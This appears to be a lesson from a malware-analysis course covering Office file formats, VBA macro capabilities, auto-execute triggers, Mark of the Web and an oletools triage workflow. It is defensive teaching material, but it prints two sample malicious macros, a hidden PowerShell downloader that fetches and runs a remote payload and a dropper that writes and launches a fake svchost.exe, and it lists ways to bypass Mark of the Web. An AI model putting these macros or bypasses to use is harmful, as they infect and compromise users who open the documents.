Office File Formats: OLE2, OOXML, and Macro Basics

25 minIn Progress

Office File Formats: OLE2, OOXML, and Macro Basics

Why Document Malware Matters

Weaponized Office documents remain one of the most prevalent initial access vectors in modern cyberattacks. Phishing emails carrying malicious document attachments account for a significant portion of breaches year after year. The reasons are straightforward:

  • Users inherently trust Office documents -- invoices, purchase orders, and reports are expected in business email
  • Macros provide full system-level scripting -- VBA can interact with the OS, file system, network, and registry
  • Documents bypass many security controls -- email gateways and firewalls allow Office formats by default
  • Social engineering lures are convincing -- attackers craft believable pretexts ("Enable editing to view the protected invoice")
  • Macro capabilities rival native executables -- macros can download files, execute commands, and launch arbitrary programs

MITRE ATT&CK: T1566.001 (Phishing: Spearphishing Attachment), T1204.002 (User Execution: Malicious File)


Office File Formats

Understanding the internal structure of Office files is critical because it determines where macros, embedded objects, and other malicious components are stored.

OLE2 (Compound File Binary Format)

Extensions: .doc, .xls, .ppt (older "97-2003" formats)
Magic bytes: D0 CF 11 E0 A1 B1 1A E1

OLE2 files use the Compound File Binary Format (CFBF), sometimes called "structured storage." Think of an OLE2 file as a mini file system with its own directories (storages) and files (streams):

ComponentDescription
StoragesDirectory-like containers that group related streams
StreamsData containers holding macro code, document content, or metadata
Root EntryThe top-level storage that contains everything else

Key streams to look for in OLE2 documents:

VBA/ThisDocument     -- Document-level macro code
VBA/Module1          -- User-defined macro module
VBA/_VBA_PROJECT     -- VBA project metadata
VBA/dir              -- VBA directory (compressed)
\x01CompObj          -- Object identification
\x05SummaryInformation  -- Document metadata
Macros/              -- Storage containing all VBA content

OOXML (XML-based Formats)

Standard:       .docx, .xlsx, .pptx (no macros allowed)
Macro-enabled:  .docm, .xlsm, .pptm (macros allowed)
Magic bytes:    50 4B 03 04 (ZIP archive)

OOXML files are ZIP archives containing XML files and binary resources. When macro-enabled, the VBA code is stored inside a binary OLE2 stream within the ZIP:

suspicious.docm (ZIP)
  |-- [Content_Types].xml           -- Content type definitions
  |-- _rels/.rels                   -- Top-level relationships
  |-- word/
  |   |-- document.xml              -- Main document content
  |   |-- vbaProject.bin            -- VBA macros (OLE2 binary!)
  |   |-- vbaData.xml               -- VBA project references
  |   |-- _rels/document.xml.rels   -- Document relationships
  |-- docProps/
      |-- app.xml                   -- Application metadata
      |-- core.xml                  -- Author, dates, etc.

Key insight: Even in modern OOXML files, VBA macros are stored in an OLE2 binary blob (vbaProject.bin). The same OLE2 analysis techniques apply regardless of the outer container format.

Quick Identification with CLI Tools

# Step 1: Check file magic bytes
file suspicious.doc
# Output: Composite Document File V2 Document, Little Endian

file suspicious.docm
# Output: Microsoft Word 2007+

# Step 2: Use trid for more precise identification
trid suspicious.doc
# Output: 52.2% (.DOC) Microsoft Word document

# Step 3: For OOXML, peek inside the ZIP structure
unzip -l suspicious.docm
# Look for: word/vbaProject.bin (macro-enabled indicator)

# Step 4: Use oleid for a quick risk assessment
oleid suspicious.doc
# Output shows: VBA Macros, Encrypted, External Relationships

Why File Extensions Cannot Be Trusted

Attackers frequently misname files to bypass security controls or confuse analysts:

Actual FormatFake ExtensionWhy
RTF.docWord opens RTF files with .doc extension
OOXML.docSome email gateways check extensions, not magic
OLE2.docxMay cause errors but some systems still process
HTA.docOlder systems may execute as HTML Application

Always verify with file command and magic bytes, never trust the extension alone.


VBA Macros 101

What Macros Can Do

VBA macros have capabilities that rival native Windows executables. They can interact with the OS to perform essentially any action:

CapabilityVBA MechanismExample
Execute commandsShell(), WScript.ShellLaunch PowerShell, cmd.exe
Download filesXMLHTTP, WinHttp, URLDownloadToFileFetch payloads from C2
File system accessFileSystemObject, Open/WriteDrop files to disk
Registry accessWScript.Shell.RegWriteEstablish persistence
Windows API callsDeclare Function + Lib "kernel32"Direct API invocation
Process creationShell(), WMI, CreateObjectLaunch malicious executables
Environment probingEnviron(), Application.NameSandbox detection

Auto-Execute Triggers

Macros can run automatically without any user interaction beyond clicking "Enable Content":

TriggerApplicationWhen It Fires
AutoOpen()WordWhen a document is opened
Document_Open()WordEvent handler when document opens
AutoClose()WordWhen a document is closed
Auto_Open()ExcelWhen a workbook is opened
Workbook_Open()ExcelEvent handler when workbook opens
AutoExec()WordWhen Word itself starts (Normal.dotm)
Document_Close()WordEvent handler when doc closes

Example: Downloader Macro

Sub AutoOpen()
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    Dim cmd As String
    cmd = "powershell -w hidden -ep bypass -nop -c " & _
          """IEX(New-Object Net.WebClient).DownloadString(" & _
          "'http://cdn-update[.]com/v2/payload')"""
    shell.Run cmd, 0, False
End Sub

Example: File Dropper Macro

Sub Document_Open()
    Dim fso As Object, f As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    Dim dropPath As String
    dropPath = Environ("TEMP") & "\svchost.exe"

    ' Decode embedded Base64 payload
    Dim payload As String
    payload = UserForm1.TextBox1.Text  ' Hidden in UserForm
    ' ... decode and write to disk ...

    Shell dropPath, vbHide
End Sub

Macro Security Model

Modern Protections

Microsoft has progressively tightened macro security over the years:

YearSecurity Change
2007Macros disabled by default; "Enable Content" prompt required
2016Group Policy can block macros from internet-sourced files
2022Mark of the Web (MotW) blocks macros in downloaded files by default
2022+VBA macros blocked by default for internet files in Office 365

Mark of the Web (MotW)

When a file is downloaded from the internet, Windows adds an Alternate Data Stream (ADS) called Zone.Identifier:

suspicious.docm:Zone.Identifier
[ZoneTransfer]
ZoneId=3

ZoneId=3 means "Internet zone." Office 2022+ blocks macros entirely for files with this marker. Attackers bypass MotW using:

  • Container formats (ISO, IMG, VHD) -- mounted files lose MotW
  • ZIP archives -- some extractors do not propagate MotW
  • Older Office versions -- MotW blocking is not enforced

Social Engineering Lures

Since macros require user interaction to enable, attackers invest heavily in convincing lure images:

Common lure themes:
- "This document was created in an older version of Office"
- "Enable editing to view the protected content"
- "Click Enable Content to decrypt this document"
- "This document is protected by [company logo]"

Pro Tip: The presence of a social engineering lure image in a document is itself a strong indicator of malicious intent. Legitimate documents do not ask users to enable macros.


Initial Triage Workflow

Step 1: IDENTIFY the file type
   file suspicious.doc && trid suspicious.doc

Step 2: CHECK for macros
   olevba --detect suspicious.doc
   oleid suspicious.doc

Step 3: SCAN for embedded objects and anomalies
   oleobj suspicious.doc
   oledump.py suspicious.doc -i

Step 4: EXTRACT macro code (never open in live Office)
   olevba suspicious.doc > macros.txt

Step 5: ANALYZE the extracted code
   - Identify auto-execute triggers
   - Trace obfuscation layers
   - Extract IOCs (URLs, IPs, file paths)

Step 6: DOCUMENT findings
   - File hash and metadata
   - Macro behavior summary
   - Full IOC list
   - ATT&CK technique mapping

Essential Tools Quick Reference

ToolInstallPrimary Use
oletoolspip install oletoolsFull Office analysis suite
oledump.pyDidier Stevens suiteLow-level OLE stream analysis
tridFree downloadFile type identification
zipdump.pyDidier Stevens suiteZIP/OOXML structure analysis
fileBuilt-in (Linux/macOS)Magic byte identification

Common Pitfalls

  1. Trusting file extensions -- Always verify with file or magic bytes
  2. Opening maldocs in live Office -- Always use isolated VMs or CLI tools
  3. Ignoring OOXML structure -- Unzip and check .rels files for external links
  4. Missing macro-enabled formats -- .docm vs .docx is a critical distinction
  5. Forgetting UserForms -- Malicious payloads are often hidden in form control properties

ATT&CK Mapping

TechniqueIDRelevance
Phishing: Spearphishing AttachmentT1566.001Delivery via email
User Execution: Malicious FileT1204.002Victim enables macros
Command and Scripting: VBAT1059.005Macro code execution
Ingress Tool TransferT1105Macro downloads payload
Obfuscated Files or InformationT1027Encoded macro content
Try it in the shell
Practise this lesson's tooling on its sample in an emulated analyst shell. Output is pre-recorded — nothing executes.

Suggested triage steps

  1. 1

    Identify the container

    Confirm this is a legacy OLE2 file before reaching for OOXML-specific tools.

  2. 2

    Quick risk pass

    Does it even carry VBA macros, before you dig any further?

  3. 3

    Extract the macro

    Pull the source and look for the auto-execute trigger first.

analyst@lab:~emulated · nothing executes

MAA analyst shell — emulated. Nothing executes.

Type 'help', or click a step on the left.

$